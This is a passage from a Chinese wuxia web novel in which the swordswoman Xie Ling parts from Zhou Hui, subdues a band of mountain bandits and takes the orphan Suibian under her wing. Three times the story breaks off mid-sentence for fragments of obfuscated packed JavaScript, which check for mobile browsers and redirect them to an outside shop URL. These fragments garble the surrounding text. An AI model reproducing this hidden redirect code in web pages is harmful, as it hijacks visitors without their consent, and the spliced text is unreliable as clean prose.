稍做歇息后,谢泠原路返回,顺便把刚才打落的几枚燕子金镖捡了回来。 真不是她没出息,这金镖没毒,她拿剑挡开时刻意收了力,只要镖头没事还是可以用的。 出门在外,就是要精打细算,可惜一只被她打得变了形,所以最后就落了两枚,不过已经很开心了。 谢泠在手心掂了掂,此次不算白忙,不仅得了金镖,还找到些师父的线索,果然是好人有好报啊。 翻身上马,她抬头望向南方,说不难过的是假的,可又能理解他的选择,萍水相逢,他愿意为自己出一次头,已经很感激了,至于更多的,有更好,没有也不应该耿耿于怀。 想通这些后,谢泠决定去风波亭和他正式告个别。 ...... 赶到风波亭时,已是日落西山,亭中空空荡荡,只余晚风穿柱而过。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17046420|194736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 谢泠下马,抬头看见亭子两侧的对联: 俯仰亭间,一笑风波平, 去留江湖,相别天地宽。 倒是应景,只不过周洄没来。 难不成是以为自己必定会命丧黄泉? 谢泠心头突然窜起一股无名火,利用她倒也认了,岂能轻视她,她可是孤光剑谢泠,未来全天下最厉害的剑客! 转身准备离开时,却见台阶下静静立着一道身影。 不知道什么时候来的,不知道站了多久,此刻正抬眸望着她。 天色低沉,晚霞渐浓,周洄眼中的情绪却很淡。 两人就这般隔着几步石阶,互相望着,谁也没动,谁也没说话。 最后还是谢泠先开口了: “说好的黄金五十两,一文都不能少。” 周洄本不想来的,也不应该来的,可还是来了。 他远远就看到了亭中的那个身影,急忙过来却又在不远处下马,缓缓走到亭前。 想说的话很多,可是好像又没什么能说的,他并不后悔。 想了想他开口:“......那些刺客,很厉害的。” 是啊,很厉害的。 但是你没死真是太好了。 你没死还愿意来主动和我告别更好了。 只是为何,非到这临别一刻,周洄才觉出眼前之人的与众不同。 谢泠走下台阶: “我知道,得亏是我,若换作是你,早就被扎成刺猬了。” 周洄目光扫过她肩头:“肩上的伤,要紧吗?” 没等她回应,他已朝身侧喊了一声:“诸微。” 谢泠心下一惊,这周围藏着一个人,她居然丝毫没有察觉! 一个身影跪到周洄身侧:“公子。” 来人是个黑衣刀客,谢泠多看了一眼,用刀之人能有这般轻捷身法,定是高手。 见谢泠打量着他,周洄出声解释:“他是我的侍卫,诸微。” 说着示意他起身。 诸微从袖中取出一只玉瓶递到谢泠面前: “这是玉肌丹,对姑娘伤口愈合大有裨益。” 谢泠咽了下口水,飞快地接过塞到了袖中。 这个玉肌丹一颗少说也要一千两,据说连深可见白骨的伤口都能恢复如初, 一点痕迹都不会留下。 谢泠笑得开心:“里面有几颗啊?” 诸微瞥了她一眼,脸色有些嫌弃。 谢泠瞬间收敛笑意,怎么,问问都不行? 周洄笑着说:“他出门匆忙,只带了三颗。” 只?谢泠故作镇定地点点头,忽然想到什么,忙从腰间取下玉佩: “对了,这个还你。” 诸微看到玉佩的时候有些讶异,谢泠打量过这玉佩,就是很普通的和田玉, 花纹也是常见的水波纹,没什么特别的。 周洄没有接,淡淡地看了一眼那个玉佩,又抬眼看她: “就送给小谢女侠了。” 他莫不是不想给自己那五十两黄金了? “如今我确实没带那么多黄金,”他上前一步,接过玉佩,俯身重新系回谢泠腰间,低声解释: “你孤身行走,携带重金反而容易招引祸事。” 他直起身,迎上谢泠怀疑的目光: “凭此玉佩,大朔境内,凡是带和字的铺子都会对你有求必应。” 见谢泠仍盯着他,他笑着摇摇头: “绝无虚言。” 谢泠将玉佩解下放到手中: “那自然要珍藏起来,如此招摇,不怕贼偷就怕贼惦记。” 说着她翻身上马。 “周洄,我还是喜欢你这个名字。” 谢泠勒住马,将玉佩套在手指上打着圈: “我不爱欠人人情,驿站那次你帮了我,现在我替你引开了那些刺客,我们两清了。” 周洄他有些出神,看着马上的那个人,嘴唇微动。 “不用觉得对不住我,受伤是我自己本事不够,不过这趟护卫也就到这儿了。” 马儿在原地踏了几步,谢泠最后看了他一眼, “走了。”马鞭轻扬,“江湖路远,有缘再见。” 风波亭在她身后越来越远。 一笑风波平,相别天地宽。 不知道是哪位文人雅士写的这幅对联,此刻品来,更有几分滋味了。 初入江湖就能够遇到周洄这样有趣的人物,她对往后的路更加有了期待。 谢泠忽然想起师父曾为她起名号的事。 “阿泠,行走江湖,总得有个响亮的称呼吧。” “那我就叫打遍天下无敌手谢泠。” 师父忍不住扶额叹气: “这种名号,很容易被打的。” “那就打啊,正好为我正名!” 结局自然是脑门挨了师父一记结实的板栗。 最后,师父为她定下了孤光剑。 孤光自照,肝胆皆冰雪。 师父说,江湖浊浪滔滔,会遇到很好的人,也会遇到很坏的人,你无法要求每个人都讲规矩,遇到不平事,总有剑无法解决的时候,你会生气,会怀疑,会发现这世间有太多蛮不讲理。 “但师父希望你始终保持剑心澄澈,如孤光映雪,坦坦荡荡做人,问心无愧做事。” 谢泠扬鞭策马,晚风扑面,带着旷野的气息。 走,去京城,那个红眼黑虎刺青在那里一定能查到线索。 ...... 风卷起地上的枯草,又徐徐飘落。 诸微静立在一旁,看着自家公子已经在风里站了许久。 那女子的身影早已消失在天际,他却仍旧望着那个方向,任凭衣袖乱飞。 周洄松开一直虚握的手,掌中空无一物,转身时面色已经恢复平静, “走吧,回京城。” 4. 随便捡了个随便 谢泠策马驰骋,一路潇洒南下,心中只觉豪情无限,一时间神游天际,飘飘乎而忘乎所以,最终被一座山峰拦住了去路,她断然不会承认是自己走错了路,不过是为了看看风景罢了。 方才在路上已服下一颗玉肌丹,此刻肩头的伤口已经不疼了,谢泠摸了摸肩膀,心中又有些悔恨,如此金贵的丹药用来治这皮肉伤,真是好绸子打了破布丁,糟蹋东西! 呸呸呸,谢泠,你怎么能这般没出息!出门在外带着伤算怎么一回事! 正想着出神之际,从那山间跑来一个灰头土脸的少年,满脸慌张瞧着像是遇到了什么事。谢泠并未下马,那少年直扑到她马前:“求姐姐救我!那边,那边有土匪要杀我!” 谢泠打量着眼前这个泪汪汪的的小可怜,不免一笑。 方才向她跑来时,她就注意到这小孩步伐稳健,许是有些身法基础,再看他虎口处的薄茧,定是个常握匕首的行家,小小年纪就不学好,谢泠看着他问了一句:“你父母呢?这荒郊野岭怎么就你一个人?” 那少年听完想也不想直接回答:“自幼爹娘就离我而去,我本想去清水郡求学,奈何和同伴走散了,又被土匪抓了去。”说着他眼泪就要出来了,上前一步抓住谢泠衣角:“他们还抓了其他的人,就在那边的山洞,大姐姐,求求你救救他们!” 谢泠俯下身轻飘飘地开口:“我看你是想把我引到那边去吧,那边有什么?” 那少年闻言,眼神一凛,从袖口转出一把匕首便向她袭来,谢泠早有防备,向后一闪,双脚用力蹬住马鞍,在马背上腾空跃起,向后一翻,稳稳落地。 “不错嘛,小小年纪,身法这么好。” 说没人指点,她肯定不信。 那少年似是被羞辱一般,用力扯下马背上的包袱,向山里跑去,谢泠心中暗骂一句,正欲动身去追,却被受惊的马儿拦住,只好唤来且慢先去探路。 谢泠将马拴到树上,此时已快亥时,她抬眼望去,远处山峰层峦叠嶂,一轮明月悬于峰顶,照得那山路明晃晃的,好似披上了一层绸缎,那只海东青在一个山头上空盘旋,想来就是那群流匪的老巢了,谢泠握紧剑柄,并未走山路,而是足尖轻点,登上一侧山壁,向那山头而去。 纵身至一个小山头,谢泠停下脚步,山下竟有一道峡谷,中间有一平台,一侧有一黑漆漆的山洞,平台上几个大汉围坐在火堆旁,那个抢了自己包袱的少年也在其中。 其中一个络腮胡大汉开口:“随便!不是叫你小子去官道上拦人吗?人呢?” 谢泠听见不由得一笑,那小孩叫随便?好名字,她很喜欢。 随便将包袱往地上一扔,坐在地上:“遇到个女人,一看就不是善茬,我抢了她的包袱就赶紧溜了!”话音刚落,那络腮胡一脚踢了过去:“你他娘的,怎么女人的东西也抢,老子怎么跟你说的!” 这络腮胡大汉名唤大壮,是这群人的头头。 随便撇撇嘴,老弱病残不能抢,女人小孩不能抢,这算哪门子土匪,“她看不起我,我手一快就抢了。” 谢泠真想上去给这孩子一巴掌,自己明明是在诚心诚意夸他。 又听了几句,谢泠觉得这些人不像什么穷凶极恶之人,倒像是一群无家可归的流民,这几日绑了清水郡郡守的大公子,关在那后方山洞,想要勒索点银两。 “大哥,这也怪不得随便,本来粮食就不多,现如今还绑了个大少爷,多张嘴就......”说话的黑胖汉子叫董不得,他是不明白为什么大哥绑了人还对人家那么客气,让他送的勒索信,他也送了,只是这郡守迟迟也不来,难不成这祝公子不是他的亲儿子? 大壮瞪了一眼董不得让他少说话,随即又对随便说:“你去看看那祝公子,给他送点水。” 随便应了一声,起身进入山洞,那几位大汉开始继续喝酒,谢泠趁机潜入了山洞。 洞内比想象中宽敞,一块巨大的青石板横在地上,上面铺了几张兽皮,想来是这几人睡觉的地方,侧旁还有个洞口,谢泠从洞口往里看,有一独木桥延伸向内,随便正端着水从那桥上经过,尽头有一木桩围起的小洞窟,那端坐在里面的白衣男子,想必就是他们口中的祝公子了。 谢泠纵身而起,双手扣住翘起的岩壁石峰,屏息凝气,向下看去。 随便将水从木桩缝中递过去,就地一坐,祝修竹笑着开口:“看来今日你不想跟我学诗了。” 他虽被当做人质关在这山洞里,那为首的大壮却对他格外客气,这个叫随便的少年负责每日给他送饭,二人也逐渐熟络起来,见他年纪还小,便教他背了几句诗,只可惜这少年对那些舞刀弄枪更有兴趣。 “你年纪还小,何苦干这种勾当?”祝修竹看着眼前的少年,认真说道:“若你愿意,等出去之后,我可以出钱供你读书。” 祝修竹说话时声音温润如水,身处这般地界仍从容不迫,和周洄倒是有点像,想到这谢泠不由得摇摇头,继续看戏。 “就算我愿意,大壮叔他们呢?他们都是贱籍,只能给那些大户人家白白干活,好不容易逃出来,肯定是不愿再回去的。” 随便蹲在一旁,捡了两根狗尾巴草随手编了个小兔子,还没来得及开心,那草就断了,少年的嘴角也耷拉了下去。 谢泠看着蹲在地上的那个小小的身影,目光变得柔和。 祝修竹不知道该说些什么,救人容易,救心却难。 随便见他不说话,又低声说道:“我从小就被爹娘扔在山沟里,是他们把我捡回来,一口糊糊一口粥喂大的,我不能没有良心。” 他抬起头看着祝修竹:“修竹哥,我知道你是个好人,可我们也不是什么坏人,只是想活下去而已。” 江湖很大,有人抬手就能送出千金难求的丹药,有人却只盼在这山野间求得一丝生机。 “好人可不会半路抢劫。” 谢泠纵身跃下,随便心下一惊连忙起身:“是你!” 谢泠向前一步与随便隔桥相望:“就是我!” 说着朝祝修竹扬了扬下巴:“放人,还我包袱,我可以当没遇见你们。” 随便歪头看着他:“你这婆娘口气不小,这儿可是千峰岭!” 谢泠双手环胸,摇了摇头:“没听说过。” 少年心性,本就张狂,脸色一变,提起手中匕首,就要过来,祝修竹急忙抬手:“随便,不得伤人!” 此时外面那几人也闻声进来,谢泠看了一眼他们,伸手勾了勾手指:“一起来吧。” 说话间那几人便欺身上前,这里面的洞窟狭窄,那几人空有一身蛮力,实际半点功夫不会,谢泠借助峭壁在那几人中间穿梭,用剑柄戳中他们穴位,不到片刻,便都跪倒在地,只剩随便拿着匕首狠狠盯着她。 “随便。”谢泠与他站在独木桥上,“我可以放过你,但是我要你亲自送他们去官府,你愿意吗?” 少年眼中杀意渐起:“少废话!”说着便拿匕首刺来,谢泠双手抱剑只闪躲,不出招,他虽无法碰到自己,身形却稳,在这独木桥上连连出手也不曾掉下去。 “为什么不还手!”随便的体力消耗有些大,说话都有些有气无力,谢泠见状上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17046421|194736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前,用剑柄戳了下他胸口,随便向后倒退一步。 “还打吗?”谢泠歪头看着他,觉得这少年有点意思。 随便咬咬牙:“打!”这次似乎是用上了全身力气,竟用匕首刺穿了谢泠的衣摆,谢泠不由得感叹他的爆发力,真是个练武的好苗子。 见他还要再冲,连忙伸手按住他的额头:“好了,好了,再打下去,你明天就在那青石板上躺一天吧。” 身后传来大壮的求饶声:“求女侠饶命,随便他,他都是被我们逼着才干这些事,求求你放过他,他只是个孩子。”说着开始疯狂磕头:“我们愿意,愿意去官府。” “大壮!!”随便被谢泠按住脑袋无法近身,却还是拼了命地挣扎:“你放开我!” 谢泠闭了闭眼,怎么感觉自己像个恶人一般?说着拎起他的衣领,将他扔到身后,大壮连忙伸手接住,谢泠未曾回头,走到那木桩前,一剑将其砍断。 祝修竹从方才就一直在追随这位女子的身影,他从未见过如此生动又飒爽的剑客,还是个女人。 三尺清光动,飒沓如流星,斩尽云山不肯停。 此刻他的眼中再无他人。 谢泠有些皱眉,这祝公子难不成是被吓傻了,怎么站着半天连句道谢都不说,伸手在他眼前晃了晃:“祝公子?” 祝修竹这才回过神来,忙抱拳行礼:“多谢姑娘救命之恩,日后若有机会......” “不用以后,”谢泠摆摆手,“现在我就有事求你。” 见他一脸困惑,谢泠指了指身后这群人:“他们的去处就麻烦祝公子了,堂堂一个清水郡应该容得下这几个衙役吧。” 大壮和随便对视了一眼,上前问道:“多谢女侠好意,只是我们......” 先不说他们的贱籍身份,就算他们愿意去,可随便又该如何,衙役赚的都是辛苦钱,还是让祝公子只把他一个人带走好了,他们几个本来就在这山野生活惯了。 谢泠走过来,看了一眼随便:“把我包袱拿过来。” 那少年低着头一动不动,谢泠一巴掌拍了过去:“快去!”,随便暗自骂了一声凶婆娘,还是乖乖出去了。 包袱拿来,谢泠先是看了下玉佩还在,又从钱袋里拿出一锭银子:“这个当做你们脱离贱籍的赎金。” 大壮有些不敢接,谢泠又添了一句;“先说好,这是借你们的,到时候连本带利要一块还给我。” 说完她掂了掂手里沉甸甸的银子,有些肉疼地闭上眼,伸手递过去:“快拿着,一会我可就后悔了!” 接过银子,大壮仍是不理解,为什么有人被抢了包袱还愿意帮助他们:“敢问女侠为什么要这么做?” 谢泠撇撇嘴,你都叫我女侠了还问我为什么。 她看向一旁的祝修竹:“我也只是提议,具体如何还得看祝公子。” 祝修竹连忙开口:“我自是没有意见,只是不知道他们几个是否愿意......” 他不是没有跟大壮他们提过此事,只是没同意罢了。 谢泠一剑将旁边的青石劈成两半,微微一笑:“你们应当是愿意的吧?” ...... 了却完这桩事后,谢泠心中畅快许多,和他们商定,明日一早就前往清水郡,大壮说要拿出自己珍藏的好酒,见他们力气还未恢复,谢泠便和祝修竹一同去搬酒,路上祝修竹低声说道: “谢女侠知道为什么官府一直没派人过来吗?” 谢泠眨眨眼,听完原因,她不免得有些叹气,早知道方才在随便面前给那些人留点面子了。 5. 少年的人生不该如此 大壮亲自倒酒,将酒杯递到谢泠面前,朗声大笑:“谢女侠,我敬你一杯,你这功夫确实不错。” 谢泠也不拘谨,端起酒杯一饮而尽,目光瞥见一旁的随便,他正独自坐在角落,不知道在想些什么,谢泠凑过去碰了碰他:“想什么呢?” 随便抬眼看着她没好气地答道:“想怎么杀你。”话音刚落,大壮一个酒杯砸了过来,被谢泠反手接住,笑着摇摇头,小孩子嘛,心思很好懂,抬手拍了拍他的脑袋:“勇气可嘉,不过还得多多用功。” 随便推开她的手:“之前路过一位大侠,说我根骨很好,是个练武的苗子。” 谢泠点点头:“你的身法也是他教的吧?看得出底子很稳。” “嗯。”随便抬头看着远处的群山,在月色中显得更加朦胧:“不过他说自己还有要紧事,只教了我些自保的手段。” “你年纪还小,底子打好了日后武学之路只会更顺,”说着她又给自己满上一杯:“你也没人家要个名字?将来好报答人家。” “当然问了,他说他叫谢危。”随便皱了皱眉,转过头看着她:“跟你还是本家诶。” 听到的名字的那一瞬,谢泠只觉得周遭万籁俱寂,伴随手中酒杯滑落在地的一声脆响,一颗泪也落了下来。 缓了缓心神,谢泠低头抹了一把脸:“他是什么时候来的?” 随便察觉到眼前这个人的异样,却也不愿多问:“一年前吧,跟你一样也是骑马路过,我拦住了他,他问我要做什么?我说打劫。” 他还记得当时那人听完哈哈大笑,想到这随便瞥了一眼旁边正嘴角上扬的少女,两个人都一样看不起人,但又一样的爱多管闲事。 “后来呢?” 许是积压在心头的事终于有个结果,大壮和董不得他们几个不自觉就喝高了,一个个开始跳起舞来,祝修竹夹在中间,左右为难,抬眼看到对面的谢泠正笑意盈盈地看着他,连忙举起酒杯猛喝了一口,反被呛得直咳嗽,那少女笑得更欢了。 “然后他就把我手臂卸了下来。” 谢泠点点头,是他的做派了。 随便盘起腿:“后来他就知道了我的身世,不仅给我了些银两,还教了我闪避的心法与诀窍,让我每日练习。”他拿起一旁的碎石,在地上乱写乱画:“可惜他只待了一晚就走了。” “走之前没跟你说什么吗?”谢泠有些意外,师父那么爱说教的一个人,肯定有一箩筐的道理。 随便摇摇头:“就跟我说,要好好活着。” 谢泠神色一淡,像是想到了什么,换上了一副笑脸:“那你想不想好好活着?” “当然!”随便望着那群醉醺醺的身影:“不光是我,我想让大家都好好活着。” “他们都有了去处,那你呢,想不想学剑术?” 随便摇摇头:“不要,我想学拳。” 谢泠一听不高兴了:“学拳有什么意思?剑客多威风呢!” “一把剑要很多银子的。” 原来是这个缘故,谢泠拍拍他的肩膀:“好说好说,只要你跟我一起闯荡江湖,我送你一把。” 随便眼睛一眯:“谢泠,你不会喜欢我吧?” 虽说自己才十二岁,可样子也算英俊,长大只会更好,至少他是这么认为的,莫非这人想老牛吃嫩草,先下手为强? 谢泠一巴掌拍了过来,却被他躲了过去。 ...... 谢泠走出山洞来到崖边醒酒,这平台之下居然还有沟壑,千峰岭的地形真是崎岖,微风徐徐吹过旁边的杂草,她的心也好似一起摇摇晃晃。 “谢女侠是不是来找人的?”大壮从山洞走了出来看到谢泠一个人站在崖边忍不住开口。 谢泠转过身有些意外:“你怎么知道?” 刚才董不得他们几个太闹腾,没人注意到谢泠摔碎的酒杯,可是他看到了,想必她和那个男人有些关系,大壮走到她身旁挠挠头:“刚才我看到你听见谢危这个名字,脸色都变了。” 说着他小声问了一句:“你男人啊?” 谢泠脸色一黑,倘若师父在这,咱俩都被他一剑戳死:“是家人。” 大壮有些尴尬地呵呵了两声:“也对,你俩都姓谢。” 谢泠懒得解释都是巧合,随他去吧。 大壮接着说:“他在这里只住了一晚,我和他聊了几句,是个很不一样的人。” 谢泠听完会心一笑:“不会是喝完酒非要拉着你拜把子吧。” 在山上的时候就是这样,谢危每次喝醉酒,都要左手搂着师兄,右手抱着自己,吹嘘自己曾经带着多少多少人,在乱军中厮杀,救万民于水火,说着说着就开始流泪,要跟他俩拜把子。 谢泠知道,都是酒后胡言罢了,不过比自己大了五岁,哪有那么传奇的人生经历。 大壮有些意外又很快心领神会地点了点头:“不喝酒看着倒是一副生人勿近的模样。”说着又想起什么:“他还说自己要去还人情,一个天大的人情。” 谢泠收敛笑意:“谁的?” 大壮摇摇头,多余的他也没说,自己也没敢多问,随即又一脸歉意地看向她:“对不住啊,谢女侠,什么也没帮不上你。” 谢泠连忙摆手:“已经很久都没听到他的事了,我已经很满足了,多谢。” 讲到这里,大壮才有勇气开口说自己的请求:“随便这孩子虽说打小就在山里长大,可我知道他一直想要出去,想跟别的孩子一样读书,学本事,都怪我们没出息,几个大男人什么也干不了,只能做些这种勾当…” 说到这里大壮有些眼眶发热,连忙抹了一把脸,一个大男人在女人面前哭哭啼啼像什么样子。 “别这么说,“谢泠打断他:“他现在就很好,也很开心。” 哪个做父母的不愿意听到别人说自家孩子好呢,大壮双手在衣服上擦了擦,想要去握住谢泠的手,又感觉有些不妥,双手合十搓了搓手心,欲言又止。 谢泠看出来他的意思:“你想让我带他走?” “ 我们即便脱离贱籍,也不过是混口饭吃,可他还小,不该跟我们在这儿耗着。” “所以你让祝公子写的根本不是勒索信,而是报平安的信。” 大壮抬起头带着一丝讶异,谢泠笑了笑:“刚才去搬酒的时候,祝公子同我说的,你求他带随便离开。” 他没有说话点了点头,沉默片刻又开口:“这孩子就是太重情了,我们什么也没给他……” 谢泠的眼眶有些湿润,伸手拍了拍他的肩膀: “做父母的都是这样,总是觉得亏欠了孩子,我会去说服他的。” 天上月牙弯弯,崖边人影怜怜。 大壮把请求说完便不再打扰回山洞了,谢泠踱步到一旁,看着地上那个靠在岩壁后偷听的少年,此刻脸上正泛着珠光。 万籁俱寂,月色如水,只听得他小声的抽泣声,谢泠蹲下身,与他视线齐平,向他伸出手: “跟我走吧,随便。” 许多年前,也是这样的夜晚,谢危出现在她面前,也是这般伸出手: “跟我走吧,小谢泠。” ...... 次日清晨,谢泠一行人便动身前往清水郡,好在不远,约莫也就三四里路程,谢泠牵着马和随便,祝公子走在前面,大壮他们几个在身后有说有笑。 谢泠偏头问祝修竹:“祝公子,这清水郡离京城还有多远?” “谢女侠要去京城?”祝修竹见她点点头连忙开口:“我可以安排一条船,走水路大概一个月就到了。” 坐一个月船?那岂不是要把她憋疯,谢泠连忙摆摆手:“不必,不必,我还是走路踏实些。” 祝修竹笑了笑:“那可就要远了,清水郡在北,京城在南,走过去的话要很久,差不多是横穿整个大朔王朝了。”嘴上这么说着,祝修竹反而有些向往,久居樊笼里,望山不自由。 谢泠觉得这正是自己想要的,虽然找师父也很要紧,但是眼下也没有太多线索:“正好,我也想一路走走,见识一下各地的风土人情,说不定还可以认识更有趣的朋友。” 祝修竹耳根有些发红,看向远方:“大丈夫当朝碧海而暮苍梧,我虽也羡慕这样的洒脱,却也只能困在此地,终日与书卷为伴了。” 谢泠看出他的怅然,挠了挠头:“读书也很好啊,至少我就说不出你的那些话。”怕他以为自己在客套,谢泠又补充道:“这次闯荡江湖感觉光有剑还不够,肚子里有一大堆道理,想跟人家讲,不是词不达意,就是讲不出来。” “原来你也没念过书啊!” 随便突然蹦到谢泠面前,叼了根狗尾巴草,双手枕在脑后,倒着走路。 “比你懂得多一点!” 谢泠上去就是一巴掌,被他轻巧躲过。 “嘿嘿,打不着了吧!” 祝修竹在一旁看着,只笑不语。 谢泠觉得,要是她也能像师父那样,随时随地都能讲出一番漂亮道理,在风波亭那儿,一定会好好教育一下周洄,告诉他,利用朋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17046422|194736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 友是不对的,至少要先坦诚告诉自己,不过他肯定会搬出更多道理来说服她,末了大概还要笑着再加一句,小谢女侠,觉得如何呀? 想到这里,谢泠忍不住弯了弯嘴角,看得一旁的随便忍不住凑上去:“谢泠,你笑得好难看。” 谢泠回过神,那少年已经向前跑去,她将缰绳往祝修竹手里胡乱一塞,追了上去: “小王八蛋,今日我就让你知道什么叫尊师重道!” “呸!我才不要这么笨的师父!总有一天我会打败你!” “你没那个机会了,我现在就把你打死!” “啊!!救命啊!杀人了!” ...... 清水郡依着青云山,一条清水河穿城而过,是个山明水秀的小城。 城门外祝修竹先行回府禀报,谢泠几人在城门口原地等着,趁着这会儿无事,谢泠将随便拉到一旁:“想好没,跟不跟我走?” 本以为昨晚那么好的氛围,自己又学着师父说了一句很漂亮的话,这小子一定感动得痛哭流涕当场拜师,谁知他擦了擦眼泪,就跑回洞里了。 随便不吭声,谢泠只觉得孺子不可教也,气得背过身不再理会。 “哪位是谢女侠?” 祝安民与祝修竹一同来到城门外,祝修竹怎么也没想明白,父亲为何听到这位谢女侠的名字便要立刻前来亲自迎接,看她一身寻常布衣,应当也不是什么落难贵女,出逃郡主。 谢泠有些惶恐,上前行礼:“我是。” 祝安民打量着眼前这位少女,点点头:“阁下就是孤光剑谢泠?真是英雄出少年啊!” 谢泠眨眨眼,有些疑惑,自己的名声何时都传到这儿了?见她有些不解,祝安民解释道:“您一人端了官道旁的黑茶摊,又擒住那对流窜数州行骗的男女,此等义举,林县令早已行文上报,附近州县大小官吏都已知晓。” 谢泠顿了顿,摸了摸袖中的玉佩,不再细问:“祝大人,这些人......” 祝安民见她问也不问,想必与那位大人关系匪浅,点点头:“修竹已同我说过了,如今衙门正是用人之际,他们若愿洗心革面,本官自当接纳。”说着脸色严肃地看向身后众人:“只是从今往后,须得恪守本分,不得再行不义之举。” 大壮一行忙抱拳行礼,连声称是。 ...... 祝大人将大壮他们安排了差事后,又备下家宴,酒足饭饱之后谢泠与大壮一起找到随便。 他正蹲在祝府门口的台阶上,看到这两个人就知道又是来劝他走的,立刻别过脸: “我不去!” 大壮一脚踢了过去:“你他娘的想去哪儿?有这么漂亮的女侠教你,你还不乐意?” 随便站了起来,表情委屈:“你呢!你咋办!连个媳妇儿都娶不上,临了谁给你送终!” 大壮被话噎住,一时说不出话来,有时候孩子太懂事同样让人心酸。 谢泠心里窜起一股火:“你到底是舍不得他们,还是根本不敢走出去这个清水郡!” 他脸色一白,将头扭了过去。 谢泠绕到他身前:“说穿了,你就是怕吃苦,怕练武!在这找冠冕堂皇的理由!” 随便猛地站起来,脸涨得通红:“你懂什么!你以为你很了不起吗?” “我是不懂。”谢泠盯着他,“我只知道,牙尖嘴利护不住人,自以为是护不住人,等哪天你们被人踩在脚下的时候,你最好还能像现在一样,用这副口气跟他们说话。” 他羞恼之下,又挥拳冲来,谢泠侧身扣住他手腕,向后一拧,将他按在柱子上。 “谢......谢女侠。” 大壮在一旁连忙制止。 随便眼中含着泪却仍一脸倔强不肯认输,谢泠叹了一口气:“既然你不愿,我不强求,毕竟我也不想带一个废物上路。”说完松手,退后两步,冲大壮抱了抱拳:“告辞。” 走到大街上,谢泠只觉得一身气无法消解,要不是看在师父的面子上,非把这小孩打成猪头不可,可是她还是不想放弃,她觉得,一个少年的人生不该如此。 “谢女侠!”祝修竹从背后气喘吁吁地跑了过来:“怎么走得如此匆忙,随便他......” 谢泠叹了一口气,不想说话。 “他也不是不讲理的人,就是憋着一口气......” “我知道,若非如此我也不会想带他走,只可惜——” 话未说完,谢泠猛然惊觉,袖中的玉佩不见了。 6. 请谢女侠带我闯荡江湖 谢泠没多想转身就往回跑。 祝府门口,随便正吃着玉佩换来的糖葫芦坐在台阶上晒太阳,谁让那女人仗着自己武功高就看不起人,他没觉得自己做得哪里过分,是她自己非要多管闲事。虽是这样想,他还是一边吃一边探着头看着那边的街道,直到看见少女气冲冲地跑过来,才咧着嘴笑:“诶?这不是我们谢女侠吗?怎么又回来了?” 他晃着脑袋,舔着糖葫芦得意极了。 谢泠上前一把抓住他的手腕:“玉佩呢?” “什么玉佩?”随便眨眨眼,一脸无辜:“我没见,你不是很厉害吗?东西丢了都不知道?” 谢泠看了一眼他手中的糖葫芦,面色一沉:“你拿玉佩换了糖葫芦?” 随便没吭声,只觉得她越气自己心头才越痛快,这里可是祝府门口,她就是武功再高又能如何。 啪!一声,谢泠抬手便是一记耳光,狠狠打在了随便的脸上,少年脸上出现个硕大的掌印。 他也没想到,这女人居然真的敢打自己,一时间愣在原地,头也忘了回,一旁赶来的大壮和祝公子刚好看到这一幕,都停下脚步,不知该不该上前。 少年片刻便回过神,将糖葫芦摔在地上起身:“你打我?你以为你会武功就能随便打人吗?” 谢泠上前一步:“不然呢,我现在就是比你强,我的话就是道理!”不等他反应,她单手拽住随便的衣领,纵身跃上屋顶,抓住他的一条腿将他整个人吊在半空中,少年此刻第一次感到害怕。 大壮连忙上前求情,随便在空中挣扎,声音带着哭腔:“你杀了我好了,反正你就会仗势欺人!” “到现在你还不知错!” “我没错!我就是不服你!” “不服就来打赢我,赢了自然你说了算。” 随便到底还是个十二岁孩童,打也不打不过,骂也不敢骂,只得抿住嘴,哗哗流泪。 谢泠将他提起来扔在屋顶:“看到没!没本事的话就只能被人这样欺负,头都抬起不来!” 说完跳下屋檐,去大街上找卖糖葫芦的人。 祝修竹看了一眼屋顶叹了一口气,喊来家丁拿来梯子,又派衙役四下去找卖糖葫芦的小贩。 谢泠一路上只觉得怒火难平,可看到随便总会想到之前的自己,她如随便这般年纪时比他还不懂规矩,不服管教。被师父捡回去那几年,心中没有半分感恩,每天都在变着法和他作对,他越是头疼,自己心中就越是痛快。 事到如今,谢泠才明白师父为何总是跟大师兄说想要掐死自己了。 ...... 大街上商贩很多,谢泠穿梭其中,却没发现卖糖葫芦的摊子,她有些泄气地坐到一旁的台阶上,头一次感到了疲倦,说来也是奇怪,从山上下来一个人翻山越岭走了那么远没觉得累,被刺客追杀肩上挨飞镖时没觉得累,此刻却感到浑身无力。 出神间,眼前忽然垂下一枚玉佩,轻轻晃了晃,谢泠心头一跳,猛地抬起头,见到来人时目光淡了些:“祝公子。” 原来那卖糖葫芦的是个行走商人,祝修竹让捕快帮忙在城外找到的。 “是我心急了,忘了你们对这里更熟一些。”回去的路上,谢泠向他表示感谢。 